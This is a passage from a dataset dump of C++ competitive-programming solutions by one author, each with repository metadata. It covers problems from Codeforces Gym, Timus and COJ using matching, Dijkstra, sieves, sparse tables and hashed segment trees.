>> p[i].first >> p[i].second;\n }\n double x0 = p[0].first;\n double y0 = p[0].second;\n double x1 = p[1].first - p[0].first;\n double y1 = p[1].second - p[0].second;\n //double l1 = sqrt(x1 * x1 + y1 * y1);\n //x1 /= l1;\n //y1 /= l1;\n double x2 = p[3].first - p[0].first;\n double y2 = p[3].second - p[0].second;\n //double l2 = sqrt(x2 * x2 + y2 * y2);\n //x2 /= l2;\n //y2 /= l2;\n double a = x1 / w - 1.0;\n double b = x2 / h;\n double c = y1 / w;\n double d = y2 / h - 1.0;\n double D = a * d - b * c;\n double D1 = (-x0) * d - (-y0) * b;\n double D2 = a * (-y0) - c * (-x0);\n double x = D1 / D;\n double y = D2 / D;\n cout.precision(13);\n cout << fixed << x << \" \" << fixed << y << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3224603831768036, "alphanum_fraction": 0.3532152771949768, "avg_line_length": 20.676767349243164, "blob_id": "f832d9bbc2bfdc3695ec065226460b7b804d2d08", "content_id": "3f5c7dca07cd5b43d44d6efbd4d531c0ec62b864", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2146, "license_type": "no_license", "max_line_length": 117, "num_lines": 99, "path": "/Codeforces-Gym/100526 - 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014 Benelux Algorithm Programming Contest (BAPC 14), 2014-2015 CT S02E08: Codeforces Trainings Season 2 Episode 8\n// 100526I\n\n#include <iostream>\n#include <vector>\n#include <fstream>\n#include <cassert>\n#include <cmath>\n\nusing namespace std;\n\ntypedef long long LL;\n\nvector <LL> g;\n\nconst int INF = 1e9;\n\nLL t, n;\n\nLL egcd(LL a, LL b, LL &x, LL &y) {\n\tif (b == 0) {\n\t\tx = 1; y = 0;\n\t\treturn a;\n\t}\n\tLL x1, y1;\n\tLL g = egcd(b, a % b, x1, y1);\n\tx = y1;\n\ty = x1 - (a / b) * y1;\n\treturn g;\n}\n\nvoid solve(LL a, LL b, LL c, LL &x, LL &y) {\n\tLL g = egcd(a, b, x, y);\n\tassert(g == 1);\n\tc /= g;\n\tx = x * c;\n\ty = y * c;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tLL x = 1;\n\tLL y = 1;\n\tg.push_back(x);\n\tg.push_back(y);\n\twhile (x + y <= INF) {\n\t\tg.push_back(x + y);\n\t\tint tmp = x + y;\n\t\tx = y;\n\t\ty = tmp;\n\t}\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tint ansx = 1;\n\t\tint ansy = n - 1;\n\t\tfor (int i = 0; g[i + 1] <= n && i + 1 < g.size(); i++) {\n\t\t\tLL x, y;\n\t\t\tsolve(g[i], g[i + 1], n, x, y);\n\t\t\t//cout << g[i] << \" \" << g[i + 1] << \" \" << x << \" \" << y << \" ==> \";\n\t\t\tif (y <= 0) {\n\t\t\t\tint cnty = -y / g[i] + 1;\n\t\t\t\ty += cnty * g[i];\n\t\t\t\tx -= cnty * g[i + 1];\n\t\t\t}\n if (x <= 0) {\n int cntx = -x / g[i + 1] + 1;\n y -= cntx * g[i];\n x += cntx * g[i + 1];\n if (y <= 0) continue;\n }\n\n /*while (x > y) {\n x -= g[i + 1];\n y += g[i];\n }*/\n if (x > y) {\n LL k = (x - y) / (g[i] + g[i + 1]) + 1;\n x -= g[i + 1] * k;\n y += g[i] * k;\n }\n if (x < y) {\n LL k = (y - x) / (g[i] + g[i + 1]);\n x += g[i + 1] * k;\n y -= g[i] * k;\n }\n //assert(x <= y);\n\t\t\t//cout << g[i] << \" \" << g[i + 1] << \" \" << x << \" \" << y << \"\\n\";\n\t\t\tif ((x < n) && (y < n) && (x <= y) && (x > 0) && (y > 0) && ((y < ansy) || (y == ansy && x < ansx))) {\n\t\t\t\t//cout << x << \" \" << y << \"\\n\";\n\t\t\t\tansx = x;\n\t\t\t\tansy = y;\n\t\t\t}\n\t\t}\n\t\tcout << ansx << \" \" << ansy << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.34359902143478394, "alphanum_fraction": 0.35144928097724915, "avg_line_length": 17, "blob_id": "eea260e806c9ca0c482f4f983cffbe72c61f8fef", "content_id": "df27532ec4cf46bb6f5a9851548aa6e06e91f938", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1656, "license_type": "no_license", "max_line_length": 67, "num_lines": 92, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/B4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 300;\n\nint from[MAXN];\nbool mk[MAXN];\n\nvector<int> g[MAXN];\n\nbool dfs( int u ){\n if( mk[u] ){\n return false;\n }\n\n mk[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( !from[v] || dfs( from[v] ) ){\n from[v] = u;\n return true;\n }\n }\n\n return false;\n}\n\ntypedef pair<int,int> par;\n\nbool ok[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n for( int i = 1; i <= n; i++ ){\n int v;\n while( cin >> v, v ){\n g[i].push_back(v);\n }\n }\n\n int mxf = 0;\n\n for( int i = 1; i <= n; i++ ){\n fill( mk , mk + n + 1 , false );\n if( dfs(i) ){\n mxf++;\n }\n }\n\n //cerr << \"---->\\n\";\n\n //cerr << \"m = \" << m << '\\n';\n\n set<par> sol;\n for( int i = 1; i <= m; i++ ){\n //cerr << \"i = \" << i << \" from[i] = \" << from[i] << '\\n';\n if( from[i] ){\n sol.insert( par( from[i] , i ) );\n ok[ from[i] ] = true;\n }\n }\n\n //cerr << \"<----n\";\n\n for( int u = 1; u <= n; u++ ){\n for( int j = 0; j < g[u].size(); j++ ){\n int v = g[u][j];\n if( !ok[u] || !from[v] ){\n ok[u] = true;\n from[v] = u;\n sol.insert( par( u , v ) );\n }\n }\n }\n\n set<par>::iterator it = sol.begin();\n\n cout << sol.size() << '\\n';\n\n while( it != sol.end() ){\n cout << (*it).first << ' ' << (*it).second << '\\n';\n it++;\n }\n}\n" }, { "alpha_fraction": 0.38273921608924866, "alphanum_fraction": 0.4183864891529083, "avg_line_length": 13.314285278320312, "blob_id": "b7e36d8954ed0e3c411ecc5dbe6daa44fcb05858", "content_id": "b384c9613bee898b1b849fca424bdec686e80ae4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 533, "license_type": "no_license", "max_line_length": 34, "num_lines": 35, "path": "/Timus/1014-6268515.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1014\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nstring ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tif (n == 0) {\r\n cout << \"10\\n\";\r\n return 0;\r\n\t}\r\n\tif (n == 1) {\r\n cout << \"1\\n\";\r\n return 0;\r\n\t}\r\n\tfor (int i = 9; i >= 2; i--) {\r\n\t\twhile (n % i == 0) {\r\n\t\t\tans += '0' + i;\r\n\t\t\tn /= i;\r\n\t\t}\r\n\t}\r\n\tif (n > 1) {\r\n\t\tcout << \"-1\\n\";\r\n\t} else {\r\n\t\treverse(ans.begin(), ans.end());\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5445026159286499, "alphanum_fraction": 0.5572176575660706, "avg_line_length": 19.22222137451172, "blob_id": "2b1cf9dccb99710efa146ca5b74f0d8fdcd161c6", "content_id": "dec7a8909a67478c65017f31bb5f365c0e00ecdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1337, "license_type": "no_license", "max_line_length": 70, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p1563-Accepted-s548773.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#include<algorithm>\r\n#define MAXN 1010\r\nusing namespace std;\r\n\r\nint n,e,s,t,a,b,c,d;\r\nbool mark[MAXN];\r\npair<int,int> dist[MAXN];\r\nvector<pair<int,pair<int,int> > > G[MAXN];\r\nvector<pair<int,pair<int,int> > >::iterator it;\r\n\r\npriority_queue<\r\n pair<pair<int,int>,int>,\r\n vector< pair< pair< int,int >,int > >,\r\n greater< pair< pair<int,int>,int > >\r\n > Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d%d%d\",&n,&e,&s,&t);\r\n\ts++; t++;\r\n\r\n\tfor(int i=1; i<=e; i++)\r\n\t{\r\n\t\tscanf(\"%d%d%d%d\",&a,&b,&c,&d);\r\n\t\ta++; b++;\r\n\t\tG[a].push_back(make_pair(b,make_pair(c,d)));\r\n\t\tG[b].push_back(make_pair(a,make_pair(c,d)));\r\n\t}\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t\tdist[i]=make_pair(1<<29,1<<29);\r\n\r\n\tdist[s]=make_pair(0,0);\r\n\r\n\tQ.push(make_pair(make_pair(0,0),s));\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint nodo=Q.top().second;\r\n\r\n\t\tQ.pop();\r\n\r\n\t\tif(mark[nodo])continue;\r\n\r\n\t\tmark[nodo]=1;\r\n\r\n\t\tfor(it=G[nodo].begin(); it!=G[nodo].end(); it++)\r\n\t\t{\r\n\t\t\tint sinsol=dist[nodo].first+(it->second).first-(it->second).second;\r\n\t\t\tint distancia=dist[nodo].second+(it->second).first;\r\n\t\t\tif(dist[it->first] > make_pair(sinsol,distancia))\r\n\t\t\t{\r\n\t\t\t\tdist[it->first] = make_pair(sinsol,distancia);\r\n\t\t\t\tQ.push(make_pair(dist[it->first],it->first));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tprintf(\"%d %d\\n\",dist[t].second,dist[t].first);\r\n}\r\n" }, { "alpha_fraction": 0.4120553433895111, "alphanum_fraction": 0.4436758756637573, "avg_line_length": 17.843137741088867, "blob_id": "fe927ddf26210de475433521dba3f6ba38222d47", "content_id": "48bbf68402d049f98bc5aff27587f41befceff8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1012, "license_type": "no_license", "max_line_length": 45, "num_lines": 51, "path": "/COJ/eliogovea-cojAC/eliogovea-p2849-Accepted-s624020.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll MAXN = 10000000;\r\n\r\nbool criba[MAXN + 5];\r\nvector<ll> p;\r\n\r\nvoid Criba() {\r\n\tfor (int i = 2; i * i <= MAXN; i++)\r\n\t\tif (!criba[i])\r\n\t\t\tfor (int j = i * i; j <= MAXN; j += i)\r\n\t\t\t\tcriba[j] = 1;\r\n\tp.push_back(2);\r\n\tfor (ll i = 3; i <= MAXN; i += 2)\r\n\t\tif (!criba[i]) p.push_back(i);\r\n}\r\n\r\nll NDiv(ll n) {\r\n\tll ret = 1, cont;\r\n\tfor (ll i = 0; p[i] * p[i] <= n; i++)\r\n\t\tif (n % p[i] == 0ll) {\r\n\t\t\tcont = 0ll;\r\n\t\t\twhile (n % p[i] == 0ll) cont++, n /= p[i];\r\n\t\t\tret *= (cont + 1);\r\n\t\t}\r\n\tif (n > 1ll) ret *= 2ll;\r\n\treturn ret;\r\n}\r\n\r\nll solve(int n) {\r\n\tll ret = 1ll, cont, cd = NDiv(n);\r\n\tfor (ll i = 0ll; p[i] * p[i] <= n; i++)\r\n\t\tif (n % p[i] == 0ll) {\r\n\t\t\tcont = 0ll;\r\n\t\t\twhile (n % p[i] == 0ll) n /= p[i], cont++;\r\n\t\t\tret *= ((cont * cd) >> 1ll) + 1ll;\r\n\t\t}\r\n\tif (n > 1ll) ret *= (cd >> 1ll) + 1ll;\r\n\treturn ret;\r\n}\r\n\r\nint n;\r\n\r\nint main() {\r\n Criba();\r\n\twhile (scanf(\"%lld\", &n) && n)\r\n printf(\"%lld\\n\", solve(n));\r\n}\r\n" }, { "alpha_fraction": 0.4497455358505249, "alphanum_fraction": 0.4783715009689331, "avg_line_length": 25.578947067260742, "blob_id": "0204ff0b576ebe025797640b37819fac5b763f6b", "content_id": "6bfdebb9282e58a1c7816dd680661eee4825f5dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1572, "license_type": "no_license", "max_line_length": 90, "num_lines": 57, "path": "/COJ/eliogovea-cojAC/eliogovea-p3681-Accepted-s1009608.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tconst int N = 1000000;\r\n\tconst int INF = 1e9;\r\n\tvector <bool> sieve(N + 1, false);\r\n\tsieve[0] = sieve[1] = true;\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tsieve[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvector <int> primes;\r\n\tfor (int i = 0; i <= N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tprimes.push_back(i);\r\n\t\t}\r\n\t}\r\n\tvector <vector <int> > sparseTable;\r\n\tvector <int> lg(primes.size() + 1);\r\n\tlg[1] = 0;\r\n\tfor (int i = 2; i <= primes.size(); i++) {\r\n\t\tlg[i] = lg[i / 2] + 1;\r\n\t}\r\n\tsparseTable.push_back(vector <int> (primes.size(), INF));\r\n\tfor (int i = 2; i < primes.size(); i++) {\r\n\t\tsparseTable[0][i] = primes[i] - primes[i - 2] + 1;\r\n\t}\r\n\tfor (int i = 1; (1 << i) <= primes.size(); i++) {\r\n\t\tsparseTable.push_back(vector <int> (primes.size() - (1 << i) + 1));\r\n\t\tfor (int j = 0; j + (1 << i) - 1 < primes.size(); j++) {\r\n\t\t\tsparseTable[i][j] = min(sparseTable[i - 1][j], sparseTable[i - 1][j + (1 << (i - 1))]);\r\n\t\t}\r\n\t}\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint a, b;\r\n\t\tcin >> a >> b;\r\n\t\tint pa = lower_bound(primes.begin(), primes.end(), a) - primes.begin();\r\n\t\tint pb = upper_bound(primes.begin(), primes.end(), b) - primes.begin() - 1;\r\n\t\tif (pa == primes.size() || pb < 0 || pb < pa || (pb - pa + 1 < 3)) {\r\n\t\t\tcout << \"-1\\n\";\r\n\t\t} else {\r\n\t\t pa += 2;\r\n\t\t\tint d = pb - pa + 1;\r\n\t\t\tint ans = min(sparseTable[lg[d]][pa], sparseTable[lg[d]][pb - (1 << lg[d]) + 1]);\r\n\t\t\tcout << ans << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3881979286670685, "alphanum_fraction": 0.4329187572002411, "avg_line_length": 23.2243595123291, "blob_id": "d03c8e31451155c5ff395298015fbb6044912b50", "content_id": "e151e292713feda5cc706320cee12ddc1bb16cc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3779, "license_type": "no_license", "max_line_length": 108, "num_lines": 156, "path": "/Timus/1989-8018353.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1989\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntemplate <int N, int B, int P>\nstruct hashSegmentTree {\n int power[N + 1];\n\n inline int value(char c) {\n return c - 'a' + 1;\n }\n\n struct node {\n bool isNull;\n int length;\n int hash;\n\n node() : isNull(true), length(0), hash(0) {}\n node(int _hash) : isNull(false), length(1), hash(_hash) {}\n\n } tree[4 * N + 20];\n\n node merge(node lhs, node rhs) {\n if (lhs.isNull) {\n return rhs;\n }\n if (rhs.isNull) {\n return lhs;\n }\n node res;\n res.isNull = false;\n res.length = lhs.length + rhs.length;\n res.hash = ((long long)lhs.hash * power[rhs.length] % P) + rhs.hash;\n if (res.hash >= P) {\n res.hash -= P;\n }\n return res;\n }\n\n hashSegmentTree() {\n power[0] = 1;\n for (int i = 1; i <= N; i++) {\n power[i] = (long long)power[i - 1] * B % P;\n }\n }\n\n void update(int id, int left, int right, int pos, int val) {\n if (left == right) {\n tree[id] = node(val);\n } else {\n int middle = (left + right) >> 1;\n if (pos <= middle) {\n update(2 * id, left, middle, pos, val);\n } else {\n update(2 * id + 1, middle + 1, right, pos, val);\n }\n tree[id] = merge(tree[2 * id], tree[2 * id + 1]);\n }\n }\n\n void update(int pos, int val) {\n update(1, 1, N, pos, val);\n }\n\n node query(int id, int left, int right, int from, int to) {\n // cerr << \"query: \" << id << \" \" << left << \" \" << right << \" \" << from << \" \" << to << \"\\n\";\n if (right < from || to < left) {\n return node();\n }\n if (from <= left && right <= to) {\n return tree[id];\n }\n int middle = (left + right) >> 1;\n return merge(query(2 * id, left, middle, from, to), query(2 * id + 1, middle + 1, right, from, to));\n }\n\n int query(int from, int to) {\n return query(1, 1, N, from, to).hash;\n } \n};\n\ninline int value(char c) {\n return c - 'a' + 1;\n}\n\nconst int N = 100 * 1000;\nauto st11 = hashSegmentTree <N, 37, 1000 * 1000 * 1000 + 7> ();\nauto st12 = hashSegmentTree <N, 37, 1000 * 1000 * 1000 + 7> ();\nauto st21 = hashSegmentTree <N, 41, 1000 * 1000 * 1000 + 9> ();\nauto st22 = hashSegmentTree <N, 41, 1000 * 1000 * 1000 + 9> ();\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n\n string s;\n cin >> s;\n\n string rs = s;\n reverse(rs.begin(), rs.end());\n\n int n = s.size();\n\n for (int i = 0; i < n; i++) {\n st11.update(i + 1, st11.value(s[i]));\n st12.update(n - i, st12.value(s[i]));\n\n st21.update(i + 1, st21.value(s[i]));\n st22.update(n - i, st22.value(s[i]));\n }\n\n int nq;\n cin >> nq;\n\n while (nq--) {\n string op;\n cin >> op;\n\n if (op[0] == 'p') {\n int l, r;\n cin >> l >> r;\n\n int hash11 = st11.query(l, r);\n int hash12 = st12.query(n + 1 - r, n + 1 - l);\n\n if (hash11 != hash12) {\n cout << \"No\\n\";\n continue;\n }\n\n int hash21 = st21.query(l, r);\n int hash22 = st22.query(n + 1 - r, n + 1 - l);\n\n if (hash21 != hash22) {\n cout << \"No\\n\";\n continue;\n }\n\n cout << \"Yes\\n\";\n } else {\n int p;\n char c;\n\n cin >> p >> c;\n\n st11.update(p, value(c));\n st12.update(n + 1 - p, value(c));\n st21.update(p, value(c));\n st22.update(n + 1 - p, value(c));\n }\n }\n}\n" }, { "alpha_fraction": 0.33861735463142395, "alphanum_fraction": 0.3549097180366516, "avg_line_length": 19.836538314819336, "blob_id": "88a489b9525965a2084091c9f7985c3a72458d50", "content_id": "cb92d9ebe94f7ac117924c3f381a44bdc5152451", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2271, "license_type": "no_license", "max_line_length": 82, "num_lines": 104, "path": "/COJ/eliogovea-cojAC/eliogovea-p1291-Accepted-s666545.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nstruct pt {\r\n\tint x, y;\r\n};\r\n\r\nstruct cir {\r\n\tint x, y, r;\r\n\tint a, b, c;\r\n};\r\n\r\nstruct sq {\r\n\tint x1, y1, x2, y2;\r\n\tint a, b, c;\r\n};\r\n\r\nint inside(pt P, cir C) {\r\n\tif ((P.x - C.x) * (P.x - C.x) + (P.y - C.y) * (P.y - C.y) > C.r * C.r) return 0;\r\n\tif ((P.x - C.x) * (P.x - C.x) + (P.y - C.y) * (P.y - C.y) == C.r * C.r) return 1;\r\n\treturn 2;\r\n}\r\n\r\nint inside(pt P, sq S) {\r\n\tif (P.x > S.x2 || P.x < S.x1 || P.y > S.y2 || P.y < S.y1) return 0;\r\n\tif (P.x > S.x1 && P.x < S.x2 && P.y < S.y2 && P.y > S.y1) return 2;\r\n\treturn 1;\r\n}\r\n\r\nint tc, n, m;\r\nvector<pt> P;\r\nvector<cir> C;\r\nvector<sq> S;\r\nstring str;\r\nint cas;\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n >> m;\r\n\t\tP.clear();\r\n\t\tC.clear();\r\n\t\tS.clear();\r\n\t\tfor (int i = 0, x, y, z, a, b, c; i < n; i++) {\r\n\t\t\tcin >> str >> x >> y >> z >> a >> b >> c;\r\n\t\t\tif (str[0] == 'C') {\r\n\t\t\t\tcir cr;\r\n\t\t\t\tcr.x = x; cr.y = y; cr.r = z;\r\n\t\t\t\tcr.a = a; cr.b = b; cr.c = c;\r\n\t\t\t\tC.push_back(cr);\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\tsq s;\r\n\t\t\t\ts.x1 = x; s.y1 = y; s.x2 = x + z; s.y2 = y + z;\r\n\t\t\t\ts.a = a; s.b = b; s.c = c;\r\n\t\t\t\tS.push_back(s);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tcout << \"Case \" << ++cas << \":\\n\";\r\n\t\tfor (int i = 0, x, y; i < m; i++) {\r\n\t\t\tpt p;\r\n\t\t\tcin >> x >> y;\r\n\t\t\tp.x = x; p.y = y;\r\n double aa, bb, cc;\r\n aa = bb = cc = 0;\r\n int cnt = 0;\r\n\t\t\tfor (int j = 0; j < C.size(); j++) {\r\n\t\t\t\tif (inside(p, C[j]) == 2) {\r\n\t\t\t\t cnt++;\r\n\t\t\t\t\taa += (double)C[j].a;\r\n\t\t\t\t\tbb += (double)C[j].b;\r\n\t\t\t\t\tcc += (double)C[j].c;\r\n\t\t\t\t}\r\n\t\t\t\tif (inside(p, C[j]) == 1)\r\n cnt++;\r\n\t\t\t}\r\n\t\t\tfor (int j = 0; j < S.size(); j++) {\r\n\t\t\t\tif (inside(p, S[j]) == 2) {\r\n\t\t\t\t cnt++;\r\n\t\t\t\t\taa += (double)S[j].a;\r\n\t\t\t\t\tbb += (double)S[j].b;\r\n\t\t\t\t\tcc += (double)S[j].c;\r\n\t\t\t\t}\r\n\t\t\t\tif (inside(p, S[j]) == 1) cnt++;\r\n\t\t\t}\r\n if (cnt) {\r\n aa /= double(cnt);\r\n bb /= double(cnt);\r\n cc /= double(cnt);\r\n }\r\n else {\r\n aa = bb = cc = 255;\r\n }\r\n cout.precision(0);\r\n cout << \"(\" << fixed << aa << \", \";\r\n cout << fixed << bb << \", \";\r\n cout << fixed << cc << \")\\n\";\r\n\t\t}\r\n\t\tif (tc) cout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4150943458080292, "alphanum_fraction": 0.4433962404727936, "avg_line_length": 19.126583099365234, "blob_id": "77493d51e61378b3f124e09c436007ecf754353f", "content_id": "186eaf58f5aac11ecc9af3f33c925e6ddfd89f99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1590, "license_type": "no_license", "max_line_length": 86, "num_lines": 79, "path": "/Codeforces-Gym/100800 - 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 United Kingdom and Ireland Programming Contest (UKIEPC 2015)\n// 100800H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct pt {\n\tlong long x, y;\n\tpt(long long _x = 0, long long _y = 0) : x(_x), y(_y) {}\n};\n\npt operator - (const pt &a, const pt &b) {\n\treturn pt(a.x - b.x, a.y - b.y);\n}\n\nlong long cross(const pt &a, const pt &b) {\n\treturn a.x * b.y - a.y * b.x;\n}\n\nvoid solve() {\n\tint n;\n\tcin >> n;\n\tvector <pt> p(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> p[i].x >> p[i].y;\n\t}\n\tvector <int> s(n);\n\tint top = 0;\n\tvector <int> l(n);\n\tfor (int i = 0; i < n; i++) {\n\t\twhile (top > 1 && cross(p[i] - p[s[top - 2]], p[s[top - 1]] - p[s[top - 2]]) <= 0) {\n\t\t\ttop--;\n\t\t}\n\t\tif (top > 0) {\n\t\t\tl[i] = s[top - 1];\n\t\t}\n\t\ts[top++] = i;\n\t}\n\ttop = 0;\n\tvector <int> r(n);\n\tfor (int i = n - 1; i >= 0; i--) {\n\t\twhile (top > 1 && cross(p[i] - p[s[top - 2]], p[s[top - 1]] - p[s[top - 2]]) >= 0) {\n\t\t\ttop--;\n\t\t}\n\t\tif (top > 0) {\n\t\t\tr[i] = s[top - 1];\n\t\t}\n\t\ts[top++] = i;\n\t}\n\tfor (int i = 0; i < n; i++) {\n //cerr << i << \" \" << l[i] << \" \" << r[i] << \"\\n\";\n\t\tdouble angle = M_PI;\n\t\tif (i > 0) {\n\t\t\tif (p[i].y < p[l[i]].y) {\n\t\t\t\tdouble dx = p[i].x - p[l[i]].x;\n\t\t\t\tdouble dy = p[l[i]].y - p[i].y;\n\t\t\t\tangle -= atan(dy / dx);\n\t\t\t}\n\t\t}\n\t\tif (i < n - 1) {\n\t\t\tif (p[i].y < p[r[i]].y) {\n\t\t\t\tdouble dx = p[r[i]].x - p[i].x;\n\t\t\t\tdouble dy = p[r[i]].y - p[i].y;\n\t\t\t\tangle -= atan(dy / dx);\n\t\t\t}\n\t\t}\n\t\tdouble ans = angle * 12.0 / M_PI;\n\t\tcout << fixed << ans << \"\\n\";\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcout.precision(15);\n\tsolve();\n}\n" }, { "alpha_fraction": 0.3428120017051697, "alphanum_fraction": 0.3949446976184845, "avg_line_length": 17.18181800842285, "blob_id": "7a29c3f553c03378c9b9696c2523976cbe9f4147", "content_id": "b6a264ffb05b3c1fe7b8c452947ae3f165963236", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 633, "license_type": "no_license", "max_line_length": 44, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2929-Accepted-s644909.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nint d, k, dig[1000005], p;\r\n\r\nint main() {\r\n\twhile (scanf(\"%d%d\", &d, &k) && (d | k)) {\r\n\t\td *= d;\r\n\t\tint carry = 0;\r\n\t\tp = 0;\r\n\t\tfor (int i = 0; i < 2 * k; i++) {\r\n\t\t\tif (i < k) carry += i + 1;\r\n\t\t\telse carry += 2 * k - i - 1;\r\n\t\t\tdig[p++] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\twhile (carry) {\r\n\t\t\tdig[p++] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\tfor (int i = 0; i < p; i++) {\r\n\t\t\tcarry += d * dig[i];\r\n\t\t\tdig[i] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\twhile (carry) {\r\n\t\t\tdig[p++] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t}\r\n\t\tint sum = 0;\r\n\t\tfor (int i = 0; i < p; i++) sum += dig[i];\r\n\t\tprintf(\"%d\\n\", sum);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40707963705062866, "alphanum_fraction": 0.4321534037590027, "avg_line_length": 13.767441749572754, "blob_id": "99d29c92fc2aede785cc4a3575b6d9d70960b778", "content_id": "5f5f494aab1a4263d443665e9743236b328c8828", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 678, "license_type": "no_license", "max_line_length": 45, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p3668-Accepted-s960817.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100000;\r\n\r\nint n;\r\nlong long a[N + 5], b[N + 5];\r\nint bit[N + 5];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= N) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tb[i] = a[i];\r\n\t}\r\n\tsort(b, b + n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ta[i] = lower_bound(b, b + n, a[i]) - b + 1;\r\n\t\tcout << query(a[i]) + 1;\r\n\t\tcout << \"\\n\";\r\n\t\tupdate(a[i], 1);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.32671862840652466, "alphanum_fraction": 0.3635719418525696, "avg_line_length": 19.378787994384766, "blob_id": "fd179b11de846676957dad11b2a74d12a2338239", "content_id": 